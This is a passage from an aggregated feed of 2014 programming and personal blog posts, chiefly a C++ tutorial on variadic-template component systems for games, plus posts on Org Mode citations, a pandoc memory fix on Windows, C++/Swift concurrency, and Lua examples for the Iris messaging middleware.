    RenderAndPhysicsComponent ninja;
    PhysicsComponent hiddenBonus;
    RenderComponent background;

This definitely serves our immediate needs, but there is some problem. This solution doesn’t scales well. Whenever we come up with a new component, we’ve to update your related base class accordingly and create a mix for each possible basic component interfaces. For five core components, we would get a total of C(5,1) + C(5,2) + C(5,3) + C(5,4) + c(5,5) = 5 + 10 + 10 + 5 + 1 = 31 total component interfaces combinations possible.

In C++, we can actually do better. This is because C++ has one thing that other languages just don’t want. It’s called multiple inheritance.

Instead of making the a composite collection class a direct collection of many components, we can instead have a single GameObject class that could inherit from as many components as desired. And, further to avoid having the fat abstraction issue, we can have the GameObject to be inherited at compile time from only the components that we actually need for that particular object.

How do we design such a GameObject? One correct answer is using variadic templates:

template <typename... Component>
class GameObject : public Component... {
public:
    GameObject() :
    Component()...
    {}
    
    GameObject(Component... component) :
    Component(component)...
    {}
};

This GameObject has nothing of its own. A host class that wishes to use a instance of this object has to supply a concrete class as a template parameter. This has given infinite flexibility to our GameObject.

We can now update our interface to easily use the core components to construct our GameObject instances that fit our needs:

    GameObject<RenderComponent, PhysicsComponent> ninja;
    GameObject<PhysicsComponent> hiddenBonus;
    GameObject<RenderComponent> background;

If that seems to verbose to write every time, we can in fact use typedefs to create some most common types.

    typedef GameObject<RenderComponent> Sprite;
    typedef GameObject<PhysicsComponent> Trigger;
    typedef GameObject<RenderComponent, PhysicsComponent> Actor;
    
    Actor ninja;
    Trigger hiddenBonus;
    Sprite background;

Now, I know that feels already too awesome, but we still have a problem. In practice we often need to communicate between components. Like say, we have a TransformComponent, that just provides us a model matrix based on the current transform of the GameObject.

class TransformComponent {
public:
    /** Get the model matrix of the transform to take things from model space to
     * the world space
     */
    GLKMatrix4 GetModelMatrix() const;
    
    GLKVector2 position;
    float rotation;
};

And, that model matrix then could be used by the RenderComponent for rendering the mesh.

class RenderComponent {
public:

    void Render(const Uniform &uniform,
                const Camera &camera) const;

    GLKMatrix4 modelMatrix;
    Mesh mesh;
};

void RenderComponent::Render(const Uniform &uniform,
                             const Camera &camera) const
{
    GLKMatrix4 modelViewProjectionMatrix = GLKMatrix4Multiply(camera.GetProjectionMatrix(),
                                                              GLKMatrix4Multiply(camera.GetViewMatrix(),
                                                                                 modelMatrix));
    glUniformMatrix4fv(uniform.um4k_Modelviewprojection, 1, 0, modelViewProjectionMatrix.m);
    mesh.Draw();
}

So, how do go with that design?

To solve that, we actually need another component. Let’s call it CustomComponent. The entire purpose of CustomComponent is to have an Update function:

class CustomComponent {
public:
    void Update(const int dt);
    
protected:
    std::function<void(const int dt)> customUpdate;
};

Now we can use our CustomComponent to bind many other components with something like:

void Ninja::Load()
{
	/* ... */
    customUpdate_ = std::bind(&Ninja::Update, this, std::placeholders::_1);
}
void Ninja::Update(const int dt)
{
	/* from transform component */
	GLKMatrix4 modelMatrix = GetModelMatrix();
	/* to render component */
    SetModelMatrix(modelMatrix);
}

No matter how absurd this code looks, it works. We can improve this, and while doing that we shall also address another important issue with multiple inheritance, name clashing.

Since, our GameObject is now split into multiple files we can easily get name clashing. For example both RenderComponent and TransformComponent can have a member named

GLKMatrix4 modelMatrix;

Or, both PhysicsComponent and CustomComponent can have a member function named:

void Update(const int dt); How do we resolve this issue? One way is to adopt a naming convention, like say every PhysicsComponent will have a ‘phy’ prefix appended before every member function and data member. That would reduce our code to:

void Ninja::Update(const int dt)
{
	/* from transform component */
	GLKMatrix4 modelMatrix = transGetModelMatrix();
	/* to render component */
    rendrSetModelMatrix(modelMatrix);
}

We all agree that following a naming convention is very hard. So this solution might not work in long term. A better way out is to encapsulate all the core logic out of the component to another core class. The TransformComponent could be reduced to:

class TransformComponent {
public:
    /** Create default Transform component */
    TransformComponent();
    
protected:
    Transform transform_;
};

class Transform {
public:
    /** Create default Transform */
    Transform(const GLKVector2 &position = GLKVector2Make(0.0f, 0.0f),
              const Degree rotation = 0.0f);

    GLKVector2 GetPosition() const;
    
    void SetPosition(const GLKVector2 &position);
    
    /** Get angle in degrees */
    float GetRotation() const;
    
    /** Set rotation in degrees
     * @param rotation Angle in degrees.
     */
    void SetRotation(const Degree rotation);
    
    /** Get the model matrix of the transform to take things from model space to
     * the world space
     */
    GLKMatrix4 GetModelMatrix() const;
    
private:
    GLKVector2 position_;
    Degree rotation_;
};

With such pattern implemented, our same code would look like:

void Ninja::Update(const int dt)
{
    renderer_.SetModelMatrix(transform_.GetModelMatrix());
}

OK, with that taken care of, let’s now focus on the fitting the pieces together. Let’s begin with updating the commonly used GameObject configurations to proper C++ types:

class Actor : public GameObject <TransformComponent, PhysicsComponent, RenderComponent, CustomComponent> {
public:
    void Load(const Transform &trans, const Mesh &mesh);
    void Update(const int dt);
};

class Sprite : public GameObject<TransformComponent, RenderComponent, CustomComponent> {
public:
    void Load(const Transform &trans, const Mesh &mesh);
    void Update(const int dt);
};

class Trigger : public GameObject<TransformComponent, PhysicsComponent, CustomComponent> {
public:
    void Load(const Transform &trans);
    void Update(const int dt);
};

void Scene::Load(const GLKVector2 &screen)
{
    LoadShader();
    LoadMesh();
    
    /* load entities */
    background_.Load(Transform(), meshMap_[0]);
    ninja_.Load(Transform(), meshMap_[1]);
    hiddenBonus_.Load(Transform());
}

Lets now implement the loop. The trickiest part of the loop is that we need to call Update() on every object that has a CustomComponent and Render() on objects that implement RenderComponent. Notice, so far we haven’t implemented any virtual functions, so can not depend on the runtime to select the correct function. What we actually need is something like:

void Scene::Update(const int dt)
{
    /* update all custom components */
}

void Scene::Render()
{
    glClear(GL_COLOR_BUFFER_BIT);
    
    /* bind all pieces to the GL pipeline */
    meshMem_.Enable();
    shader_.Enable();
    
    /* render all render components */
}

What we actually need some sort of container class that hold all types of Components. The first thought that hits the brain is to have a std::vector of Component of every kind. And from our experience we already know this sort of patterns doesn’t scales well. But using the power of C++11 and tuples we implement that in a much better way. Let’s add a ContainerComponent as:

template <typename... Component>
class ContainerComponent {
protected:
    std::tuple<std::vector<Component*>...> children_;
};

As you can see, ContainerComponent is capable of holding any number of components of any size. Think of it as a class that can possess compile time flexibility to hold any kind of components and at runtime we can add and remove instances of those component classes.

Now we can update our plain Scene class to be a GameObject that has a ContainerComponent. The ContainerComponent is capable of holding two kind of Components, the CustomComponent and the RenderComponent:

class Scene : public GameObject <
	ContainerComponent<
		CustomComponent,
		RenderComponent
>> {
	/* ... */
};

The only important thing to remember is that the order matters. Because this is a tuple we have to remember the index of Component type.

Our new updated Load() now looks like:

void Scene::Load(const GLKVector2 &screen)
{
    LoadShader();
    LoadMesh();
    
    /* load entities */
    background_.Load(Transform(), meshMap_[0]);
    std::get<0>(children_).push_back(&background_);
    std::get<1>(children_).push_back(&background_);
    
    ninja_.Load(Transform(), meshMap_[1]);
    std::get<0>(children_).push_back(&ninja_);
    std::get<1>(children_).push_back(&ninja_);

    hiddenBonus_.Load(Transform());
    std::get<0>(children_).push_back(&hiddenBonus_);
}

The power of C++ compile time checks comes into play when we do something illegal, such as:

std::get<1>(children_).push_back(&hiddenBonus_);

The above expression will throw an error at compile time because the hiddenBonus_ does not has a RenderComponent and we’re trying to add it to a vector of RenderComponents.

So far so good. Let’s make the code more readable by removing the hard-coded integers. If we introduce a enum type as:

enum ContainerIndex {
    Custom = 0,
    Render = 1
};

We can do things like:

void Scene::Load(const GLKVector2 &screen)
{
    LoadShader();
    LoadMesh();
    
    /* load entities */
    background_.Load(Transform(), meshMap_[0]);
    std::get<ContainerIndex::Custom>(children_).push_back(&background_);
    std::get<ContainerIndex::Render>(children_).push_back(&background_);
    
    ninja_.Load(Transform(), meshMap_[1]);
    std::get<ContainerIndex::Custom>(children_).push_back(&ninja_);
    std::get<ContainerIndex::Render>(children_).push_back(&ninja_);

    hiddenBonus_.Load(Transform());
    std::get<ContainerIndex::Custom>(children_).push_back(&hiddenBonus_);
}

Now getting back to our loop. We can simply do things like:

void Scene::Update(const int dt)
{
    /* update all custom components */
    for (auto customComponent : std::get<ContainerIndex::Custom>(children_)) {
        customComponent->Update(dt);
    }
}

void Scene::Render()
{
    glClear(GL_COLOR_BUFFER_BIT);
    
    /* bind all pieces to the GL pipeline */
    meshMem_.Enable();
    shader_.Enable();
    
    /* render all render components */
    for (const auto renderComponent : std::get<ContainerIndex::Render>(children_)) {
        renderComponent->Render(uniform_, camera_);
    }
}

Here is the result of this prototype:

Hosted by imgur.com

The yellow color is applied to the render-only background, while the cyan is the ‘render+physics’ ninja.

I haven’t implemented any physics elements, but in a real game with a Physics engine implemented the PhysicsComponent should look something like:

class PhysicsComponent {
public:
    PhysicsComponent();
    
protected:
    b2Body *physicsBody_;
};

class Physics {
public:
    bool Load(
              const GLKVector2 &screenSize,
              const GLKVector2 &gravity
              );
    
    b2World *GetWorld() const;
    
private:
    std::unique_ptr<b2World> physicsWorld_;    
};

And any GameObject that listens to physics updates should look something like:

void Ball::Update(const int dt)
{
    transform_.SetPosition(PhysicsConverter::GetPixels2(physicsBody_->GetPosition()));
    renderer_.SetModelMatrix(transform_.GetModelMatrix());
}

And then the typical Scene class’s Update() should look like:

bool GameScene::Load(const GLKVector2 &screen)
{
    /* enable physics */
    physics_.Load(screen, GLKVector2Make(0.0f, 0.0f));

	/* more loading ... */
}

void GameScene::Update(const int dt)
{
    /* update physics */
    physics_.GetWorld()->Step(1.0f/FPS, 10, 10);
    physics_.GetWorld()->ClearForces();
    
    /* update all custom components */
    for (auto customComponent : std::get<ContainerIndex::Custom>(children_)) {
        customComponent->Update(dt);
    }
    
    /* update camera */
    camera_.SetPan(ball_.GetTransform().GetPosition());
}

I hope this gives and idea of how can we use the enormous power of C++ to build an game engine based on component system. This also shows why C++ is such a great language for such a pattern when compared to something like Objective-C.

The entire code for this experiment is available at https://github.com/chunkyguy/CppComponentSystem. Please feel free to checkout and start playing around.

The Ultimate Sacrifice

Zac Szewczyk — Tue, 23 Sep 2014 15:36:16 GMT

During September of last year I saw this incredible story pass by, but I let it go without comment. This time, however, I refused to make the same mistake.

It’s so easy for us to sit in our homes decrying America’s defense budget, and say things like, “I look forward to the day the Air Force has a bake sale in order to raise money.” America’s military is not some faceless organization used to enforce the will of politicians, though: these are real people who put their lives on the line every single day so that you do not have to; these are real people who willingly fly to their death for their fellow Americans. Yet so many have the audacity, the gall, to stand up and criticize those whom they have no right to call into question — their motivations, lifestyle, and everyday choices. And this infuriates me. Render respect where it is due.

For those of you still confused, it is due here.

Permalink.

Org Mode Citation Links

bastibe.de — Tue, 23 Sep 2014 03:00:00 GMT

I am writing my master's thesis in Org Mode, and export to LaTeX for publishing. For the most part, this works incredibly well. Using Org Mode instead of plain LaTeX means no more fiddly \backslash{curly brace} all over the place. No more scattering code fragments and markup across hundreds of files. And on top of that, deep integration with my research notes and task tracking system.

But not everything is perfect. For one thing, citations do not work well. Sure, you can always write \cite{cohen93}, but then you are writing LaTeX again. Also, all the other references and footnotes are clickable, highlighted Org Mode links, but \cite{cohen93} is just inline LaTeX.

But luckily, this is Emacs, and Emacs is programmable. And better yet, Org Mode has just the tool for the job:

(org-add-link-type "cite"
     (defun follow-cite (name)
       "Open bibliography and jump to appropriate entry.
        The document must contain \bibliography{filename} somewhere
        for this to work"
       (find-file-other-window
        (save-excursion
          (beginning-of-buffer)
          (save-match-data
            (re-search-forward "\\\\bibliography{\\([^}]+\\)}")
            (concat (match-string 1) ".bib"))))
       (beginning-of-buffer)
       (search-forward name))
     (defun export-cite (path desc format)
       "Export [[cite:cohen93]] as \cite{cohen93} in LaTeX."
       (if (eq format 'latex)
           (if (or (not desc) (equal 0 (search "cite:" desc)))
               (format "\\cite{%s}" path)
             (format "\\cite[%s]{%s}" desc path)))))

This registers a new link type in Org Mode: ![cite:cohen93](cite:cohen93), which will jump to the appropriate bibliography entry when clicked, and get exported as \cite{cohen93} in LaTeX. Awesome!

Getting to Know Fiddler: Part VII: Wrapping up our Fiddler World Tour

Joshua Rogers — Mon, 22 Sep 2014 15:00:00 GMT

In the first six parts of our series, we examined some of the power that Fiddler has to offer us: we covered remote debugging, composing requests, breakpoints, autoresponders, plugins, and a bit of FiddlerScript. So what's next? There's still an incredible amount that Fiddler can do, but despite the “Land Before Time”-esque post names, this was never meant to be a comprehensive Fiddler feature tutorial. The series was just meant to cover some of Fiddler's most powerful yet underused features; specifically features that have gotten me out of a bind a time or two.

Digital innovation or Biourbanism? Both, of course!

Welcome to Marco Fioretti's website! on Stop at Zona-M — Mon, 22 Sep 2014 09:10:00 GMT

(this is the translation of the final part of an article I published on the italian Pionero Web magazine in April 2014. The first part is available here)

Fixing pandoc "out of memory" errors on Windows

Jonathan Chang — Mon, 22 Sep 2014 00:37:29 GMT

Recently I’ve been using the rmarkdown + knitr + pandoc workflow to write manuscripts. Markdown with Pandoc is roughly a million times easier to use than the equivalent LaTeX workflow. With the addition of RMarkdown and knitr included in RStudio, you can also weave R plots and output directly into your manuscripts. I was inspired to do this by Carl Boettiger’s online lab notebook and Rich FitzJohn’s “how much of the world is woody” reproducible research GitHub repository.

I was working with a Markdown document in RStudio when, after adding a bunch of citations, pandoc.exe was crashing with an out-of-memory error. My Windows PC has 8 gigabytes of RAM and I found it unlikely that pandoc could consume that much memory. After checking the Task Manager, it was clear that pandoc was only consuming about 1.8 GB of memory, suggesting that it was not a true out-of-memory error, but rather virtual memory address space exhaustion†.

Luckily for us there is a utility that comes with Microsoft Visual Studio (it’s free!) that allows us to poke around in the executable file’s headers and forcefully enable a special flag that should help alleviate this issue. Once you have VS installed, start up the developer command prompt in elevated mode (Shift-Right-click – Run as Administrator) and type into the terminal:

      editbin /LARGEADDRESSAWARE "C:\Program Files\RStudio\bin\pandoc\pandoc.exe"
editbin /LARGEADDRESSAWARE "C:\Program Files\RStudio\bin\pandoc\pandoc-citeproc.exe"

You can then use dumpbin /headers "C:\Program Files\RStudio\bin\pandoc\pandoc.exe" | more and look for “Application can handle large (>2GB) addresses” to confirm that the fix worked.

Update: The Large Address Aware app can do the same with a GUI and no need to download the entirety of VS.

†Technical details: 32-bit Windows systems can address up to 4GB of RAM, but all versions of Windows limit the program to 2GB, since the other 2GB of address space is reserved by the kernel. Windows XP introduced the /LARGEADDRESSAWARE flag that allowed 32-bit programs to address up to 3GB of RAM on 32-bit systems, and 4GB on 64-bit systems. There was also Physical Address Extensions which allowed >4GB addressing, but I don’t think anyone outside of the server realm ever used it.

All that is really necessary to make 32-bit programs use the full 4GB of address space is to set a special linker flag and make sure that your code doesn’t have faulty assumptions about how Windows lays out its memory. For example, if you knew that the kernel always reserved the upper half of the address space for itself, you can smuggle data into the upper two bytes of user-space pointers.

This Week in Podcasts

Zac Szewczyk — Sun, 21 Sep 2014 16:01:45 GMT

Lots of John Roderick this time around, not that that’s a bad thing, interrupted only by a fantastic episode of Exponent with Ben Thompson and James Allworth. As always, enjoy.

Permalink.

Conduit (Emily Monroe #1)

Apurva Shukla's RSS Feed — Sun, 21 Sep 2014 15:08:09 GMT

⭐ ⭐ ⭐ ⭐ Fast paced, thrilling, and beautifully written.. What more can you ask for? Well I would say a bit more character development (I…

Semi-random thoughts (and some motivations) about innovation and digital technology

Welcome to Marco Fioretti's website! on Stop at Zona-M — Sun, 21 Sep 2014 09:10:00 GMT

(this is a partial translation of an article I published on the italian Pionero Web magazine in April 2014. The second part is here). _Several of my publications and projects come, among other things, from these considerations (which of course I am not the only one to have made!):

Concurrency: Spawning Independent Tasks

Whacky Labs — Sun, 21 Sep 2014 08:54:00 GMT

First step in getting with concurrency is spawning tasks in background thread.

Lets say we’re building a chat application where a number of users chat in a common room. In this sort of scenario every user is probably chatting at the same instance. For sake of simplicity let’s say each user can only have a single character username. And obviously such a constraint is definitely going to outrage the users. So, pissed off as they are, they’re just printing their usernames over and over again.

To support such a functionality, we might need a function like such:

void PrintUsername(const char uname, const int count)
{
    for (int i = 0; i < count; ++i) {
        std::cout << uname << ' ';
    }
    std::cout << std::endl;
}

In a single threaded environment, whatever user invokes this method gets the control of the CPU and their username is going to get printed until the loop expires.

If there are two users in the chat room with usernames ‘X’ and ‘Y’, each wants to print their username 10 times. The calling code might look something like:

void SingleThreadRoom()
{
    PrintUsername('X', 10);
    PrintUsername('Y', 10);
}

The output is as expected:

X X X X X X X X X X 
Y Y Y Y Y Y Y Y Y Y 

Now, to make the app slightly better, let’s give both the users equal weights. Each user should be able to perform the same task in their own thread. Simplest way to spawn a new thread is by calling join()

void MultiThreadRoom()
{
    std::thread threadX(PrintUsername, 'X', 10);
    std::thread threadY(PrintUsername, 'Y', 10);

    threadX.join();
    threadY.join();
}

On my machine this outputs as:

YX  YX  YX  YX  YX  YX  YX  YX  YX  YX

Calling join() on a thread attaches the thread to the calling thread. When the app launches we already get the main thread, and since we’re calling join() on the main thread, the two spawned threads get joined to the main thread.

If we need a thread for some task that is of kind fire-and-forget, we can call detach(). But, if we call detach() we’ve no control of the thread lifetime anymore. It’s something like the main thread doesn’t cares anymore.

For a program like:

void MultiThreadRoomDontCare()
{
    std::thread threadX(PrintUsername, 'X', 10);
    std::thread threadY(PrintUsername, 'Y', 10);
    threadX.detach();
    threadY.detach();
}

int main()
{
    MultiThreadRoomDontCare();
    std::cout << "MainThread: Goodbye" << std::endl;
    return 0;
}

The output on my machine is:

MainThread: Goodbye
XY  XY

As you can see the main thread doesn’t care if it’s child thread are still not finished.

Getting over to Swift, we don’t have to manually track the threads, but think in more higher terms as tasks and queues.

First problem we face when trying out async code in Playground is that the NSRunLoop isn’t running in Playground as it is with out native apps. The solution is to import the XCPlayground and call XCPSetExecutionShouldContinueIndefinitely() method. All thanks to the internet.

Here’s a test code that works:

import UIKit
import XCPlayground

XCPSetExecutionShouldContinueIndefinitely(continueIndefinitely: true)
NSOperationQueue.mainQueue().addOperation(NSBlockOperation(block: { () -> Void in
    println("Hello World!!")
}))

var done = "Done"

Since, we’re talking in terms of queues and tasks, we have to change the way of thinking. Now, we don’t care about threads anymore, only tasks. The task is to print the username. This task is going to be submitted to the queue and the queue internally shall manage the threads.

A code like:

func printUsername(uname:String)
{
        println(uname)
}

let chatQueue:NSOperationQueue = NSOperationQueue()

func multiThreadRoom()
{
    for (var i = 0; i < 5; ++i) {
        chatQueue.addOperation(NSBlockOperation(block: { () -> Void in
            printUsername("X")
        }))

        chatQueue.addOperation(NSBlockOperation(block: { () -> Void in
            printUsername("Y")
        }))
    }
}

multiThreadRoom()

println("Main Thread Quit")

Prints on my machine as:

X
Y
X
Y
X
Y
X
Y
X
Y
Main Thread Quit

This is the very basics of spawning concurrent independent tasks. If all your requirements are working on independent set of tasks, this is almost all you need to learn about concurrency to get the job done. I hope the real world were this simple! ;)

As always, the entire code is also available online at: https://github.com/chunkyguy/ConcurrencyExperiments

Notes on atom feeds

Srijan Choudhary, all posts — Sun, 21 Sep 2014 03:00:00 GMT

My notes on Atom feeds

A discourse on purpose

Junk Heap Homotopy — Sat, 20 Sep 2014 18:15:00 GMT

Epistemic status: philosophical spitballing with a bit of mathI.

Iris

Separate Concerns — Sat, 20 Sep 2014 16:00:00 GMT

Iris is a “decentralized Cloud messaging” middleware that I have really started looking into with the recent release of version 0.3.0. It had struck me as interesting when I first heard of it at FOSDEM 2014. The reason for that, beyond the great presentation skills of its author, is that it implements principles I think are sound to build SOA upon.

In Iris, the logical and physical layers of services are cleanly separated. Each box in the system runs a local instance of the Iris broker (“Iris node”). The broker is written in Go, and all broker instances in the system converse in a proprietary protocol.

To provide or consume a service, you never have to open a connection to a remote machine: you just talk to your local broker using the Iris relay protocol. This means you can use any programming language you want as long as you implement this protocol, which is much simpler than the protocol used between brokers. There are official clients for the relay protocol (Iris calls them “bindings”, but I think that name is confusing) in Go, Erlang and Java. I have written one in Lua that I will use for examples in the rest of this post (if you prefer, you will find corresponding code in Go for most examples here).

In Iris, services are represented by names. To provide a service you register with its name, to consume one you address it by its name. That means you never dial into a specific instance of a service explicitly. From the consumer’s point of view, the service could be provided by a single box as well as hundreds across different datacenters. Boxes can go up or down, and you will almost never have to care about it when writing code: it is an operational concern. The way Iris’ author puts it is that in Iris the smallest logical entity is a cluster, there is no concept of individual machine or process.

Iris supports three usual basic patterns for communication: Request/Response, Publish/Subscribe and Broadcast. A fourth one, Tunnel, is slightly more complicated.

Request/Response

This is the pattern everybody knows about from HTTP, and probably the workhorse of most SOAs. A client sends a request to a cluster, and a single node of the cluster answers it. Iris just does the messaging here: the request and the response are binary blobs, there is no notion of headers.

Here is how it looks in Lua on the client side:

local iris = require "iris"

local c = iris.new()
assert(c:handshake(""))

local req = c:request("echo", "hello", 1000)
c:process_one()
local r = assert(req:response())

c:teardown()

print("reply arrived: " .. r)

and on the service side:

local iris = require "iris"

local c = iris.new()
assert(c:handshake("echo"))

c.handlers.request = function(req)
    print("request arrived: " .. req)
    return req
end

for i=1,5 do c:process_one() end

c:teardown()

Publish/Subscribe

Another well-known pattern. Consumers subscribe to a channel identified by a name, producers send messages into the channel and all subscribers receive them. There is no response from the subscriber. Channels are completely independent from clusters, i.e. channel “X” and cluster “X” can coexist and have nothing in common, and there is no restriction that a channel only works within a given cluster (any entity on the same Iris network can access it).

Here is a publisher to channel “somechan” in Lua:

local iris = require "iris"
local socket = require "socket"

local c = iris.new()
assert(c:handshake(""))

for i=1,5 do
    c:publish("somechan", "message " .. i)
    socket.sleep(1)
end

c:teardown()

and a consumer:

local iris = require "iris"
local socket = require "socket"

local c = iris.new()
assert(c:handshake(""))

c.handlers.pubsub.somechan = function(msg)
    print("message arrived: " .. msg)
end

c:subscribe("somechan")

for i=1,5 do c:process_one() end

c:teardown()

Broadcast

We have seen that requests are sent to a single instance of a cluster. What if you want to notify all members of a cluster of some event? This is what Broadcast is for. It is kind of redundant with Publish/Subscribe (you could have all members of each cluster subscribe to a channel) but it is somehow cleaner to have a separate message type for this. You could use it to build more complicated things on top, for instance a full-fledged service bus.

Here is how to send a broadcast message in Lua:

local iris = require "iris"

local c = iris.new()
assert(c:handshake(""))

c:broadcast("bcst", "hello")
c:teardown()

and how to handle them:

local iris = require "iris"

local c = iris.new()
assert(c:handshake("bcst"))

c.handlers.broadcast = function(msg)
    print("message arrived: " .. msg)
end

for i=1,5 do c:process_one() end

c:teardown()

Tunnel

Tunnels are the last and most complicated way to communicate provided by Iris. To understand why we need them, remember how requests work.

The fact that any member of a cluster can answer a request prevents you from doing anything stateful, because you cannot know if you are talking to the same instance or not in two separate requests. Moreover, the nature of the request and response does not allow any of them to be composed of multiple parts sent in separate messages. A request cannot trigger multiple responses.

Tunnels are a solution to all that. When you open a tunnel, you address a cluster, but what you obtain is a persistent, bidirectional, ordered pipe to a specific instance of that cluster. You can think of it as a TCP socket or a circuit if you come from a telecom background (although there are no latency guarantees). Tunnels implement a throttling algorithm so that both ends of the tunnel can specify a maximum size for their input buffer.

For now, here is what I think of tunnels in the context of a SOA: they are very powerful but tricky to use. If you can avoid them, you should. If not, you should not use raw tunnels anyway: you should define your protocol, write an abstraction for it and never expose the tunnel itself to the application.

One valid use case I can see for tunnels, and which is used in Iris examples, is streaming. But this can go much further. Like the name indicates, you could tunnel most protocols into them, so they could serve as the foundation for some kind of VPN.

Anyway, here is an example client with multiple responses and state:

local iris = require "iris"

local c = iris.new()
assert(c:handshake(""))

local tun = c:tunnel("tunnel", 1000)
tun:confirm()
tun:allow(1024)

tun.handlers.message = function(msg)
    if msg == "data" then
        print("got data")
    elseif msg == "continue" then
        print("got continue, sending request")
        tun:cosend("request")
    elseif msg == "bye" then
        print("got bye, quitting")
        tun:close()
    else
        print("got invalid message: " .. msg)
        tun:close()
    end
end

local xfer = tun:transfer("request")
while not xfer:run() do c:process_one() end

local op
while op ~= iris.OP.TUN_CLOSE do op = c:process_one() end

c:teardown()

and the server on the other end:

local iris = require "iris"

local c = iris.new()
assert(c:handshake("tunnel"))

local MAX_COUNT = 3
local count = 0

c.handlers.tunnel = function(tun)
    tun:allow(1024)
    tun.handlers.message = function(msg)
        if msg == "request" then
            if count < MAX_COUNT then
                count = count + 1
                print(string.format(
                    "got request, sending %dx data + continue",
                    count
                ))
                for i=1,count do tun:cosend("data") end
                tun:cosend("continue")
            else
                print("got request, sending bye")
                tun:cosend("bye")
            end
        else
            print("got invalid message: " .. msg)
            tun:close()
        end
    end
end

local op
while op ~= iris.OP.TUN_CLOSE do op = c:process_one() end

c:teardown()

Conclusion

Iris is a very interesting piece of software which implements a vision of systems that I like and cannot find in any other product out of the box. It is still very young and probably not ready for serious production yet, although I have found it stable during the (limited) testing I have done. Even though my current job does not involve SOA I will probably come back to it someday, so Iris will join the list of tools whose progress I follow attentively.

On a side note, Iris was built for its authors’ thesis, and he is now looking for a sponsor to allow him to continue working on it. If you have the power to make that happen, give it a look. Think how VMWare / Pivotal must be happy of the deal they did with Antirez :)

Finally, if you try my Iris client and find bugs, do not hesitate to report them on Github! I have no real world Iris system to try it on so there are certainly plenty.

gpg/pgp bookmarks

xenodium.com @alvaro — Sat, 20 Sep 2014 03:00:00 GMT

Emacs lisp bookmarks

xenodium.com @alvaro — Sat, 20 Sep 2014 03:00:00 GMT

2014-09-20/01

ho.dges.online — Sat, 20 Sep 2014 03:00:00 GMT

Ready for another day fighting crime…

2014-09-20/02

ho.dges.online — Sat, 20 Sep 2014 03:00:00 GMT

Screenshot Saturday 190

Evan Todd — Sat, 20 Sep 2014 01:57:02 GMT

Well friends, Lemma is still on pause while I do some contract work. I also have only a few slides done for my shader presentation next week. This whole month is crazy. But I thought I'd hijack this dev blog to show you the game I'm working on, because it's starting to look kinda cool!

It's a top-down iOS survival shooter designed as a sort of franchise tie-in. The budget is pretty low so most of the assets are pulled from the Unity asset store. I've only done a few models myself, mostly just weapons.

Braaaaaainsss

Liza Shulyayeva — Fri, 19 Sep 2014 23:02:51 GMT

I appear to have gotten myself into a bit of a mess.

“Make a snail brain/nerve-cluster for your snails,” they said. “It’ll be easy”, they said.

Emacs bookmarks

xenodium.com @alvaro — Fri, 19 Sep 2014 03:00:00 GMT

][Christian Tietze: Emacs: center window on current monitor]].

The Real Comprehensive Terminal Guide

Zac Szewczyk — Thu, 18 Sep 2014 14:02:21 GMT

Quite some time ago, in a life before this one, I wrote an article that gained quite a bit of attention titled, “The Comprehensive Terminal Guide”. Someday, I hope to update and re-release that piece here. Meanwhile, Craig Hockenberry wrote and published an even longer, even more in-depth, and undoubtedly much better article than mine simply titled, “The Terminal”. Although he geared his more towards power users, users of all skill levels will find value in this monster of a piece. I consider myself fairly competent when it comes to the UNIX terminal, but Craig had already taught me a thing or two within the first few sections. If you have ever wanted to take better control of your computer, this is a great jumping-off point.

Permalink.

Breaking Bad: Season 5

🦉 olshansky 🦁 — Thu, 18 Sep 2014 05:59:01 GMT

Olshansky's review of Breaking Bad: Season 5

Game of Thrones: Season 4

🦉 olshansky 🦁 — Thu, 18 Sep 2014 05:58:41 GMT

Olshansky's review of Game of Thrones: Season 4

Entourage: Season 8

🦉 olshansky 🦁 — Thu, 18 Sep 2014 05:58:13 GMT

Olshansky's review of Entourage: Season 8

The Walking Dead: Season 5

🦉 olshansky 🦁 — Thu, 18 Sep 2014 05:57:59 GMT

Olshansky's review of The Walking Dead: Season 5

House of Cards: Season 2

🦉 olshansky 🦁 — Thu, 18 Sep 2014 05:57:47 GMT

Olshansky's review of House of Cards: Season 2

Arrow: Season 1

🦉 olshansky 🦁 — Thu, 18 Sep 2014 05:57:34 GMT

Olshansky's review of Arrow: Season 1

Arrow: Season 2

🦉 olshansky 🦁 — Thu, 18 Sep 2014 05:57:28 GMT

Olshansky's review of Arrow: Season 2

Arrow: Season 3

🦉 olshansky 🦁 — Thu, 18 Sep 2014 05:57:11 GMT

Olshansky's review of Arrow: Season 3

Frugal bookmarks

xenodium.com @alvaro — Thu, 18 Sep 2014 03:00:00 GMT

Charities bookmarks

xenodium.com @alvaro — Thu, 18 Sep 2014 03:00:00 GMT

Toilet paper that builds toilets (Who Gives A Crap UK).

Origami bookmarks

xenodium.com @alvaro — Thu, 18 Sep 2014 03:00:00 GMT

About index range scans, disk re-reads and how your new car can go 600 miles per hour!

Tanel Poder Blog — Wed, 17 Sep 2014 11:56:02 GMT

Despite the title, this is actually a technical post about Oracle, disk I/O and Exadata & Oracle In-Memory Database Option performance. Read on :)

If a car dealer tells you that this fancy new car on display goes 10 times (or 100 or 1000) faster than any of your previous ones, then either the salesman is lying or this new car is doing something radically different from all the old ones. You don’t just get orders of magnitude performance improvements by making small changes.

Perhaps the car bends space around it instead of moving – or perhaps it has a jet engine built on it (like the one below :-) :

Diving into an Active Volcano

Zac Szewczyk — Wed, 17 Sep 2014 11:35:58 GMT

This is just incredible.

We as a species have a tendency to hold ourselves above all things both animate and inanimate in this world. Humans place themselves above nature, animals, and even one another. The trope of an invincible teenager is not exclusive to that age group, for at some level we all consider ourselves untouchable. And then, in the midst of this mis-placed mixture of entitlement and pride, videos like this appear to put us in our place — to exhibit our insignificance and utter frailty in the face of the majesty belonging to that which we so often disregard.

Permalink.

Exceptions as a feature

Jelle Smet — Tue, 16 Sep 2014 22:00:00 GMT

Wishbone modules process and transport messages in one way or the other. Obviously, this needs to happen as reliable as possible. Wishbone has a particular way of dealing with exceptions. In this article we cover the role unhandled code exceptions can play and how we can take advantage of them …

A Bionic Fan Surprises Matt Alexander

Zac Szewczyk — Tue, 16 Sep 2014 16:06:13 GMT

I don’t link to these kinds of things often, but this time I just couldn’t resist: for all you Bionic fans out there, a true fan surprised Matt Alexander at XOXO this year. Hilarious.

Permalink.

Getting to Know Fiddler: Part VI: Use FiddlerScript to identify common problems

Joshua Rogers — Tue, 16 Sep 2014 15:00:00 GMT

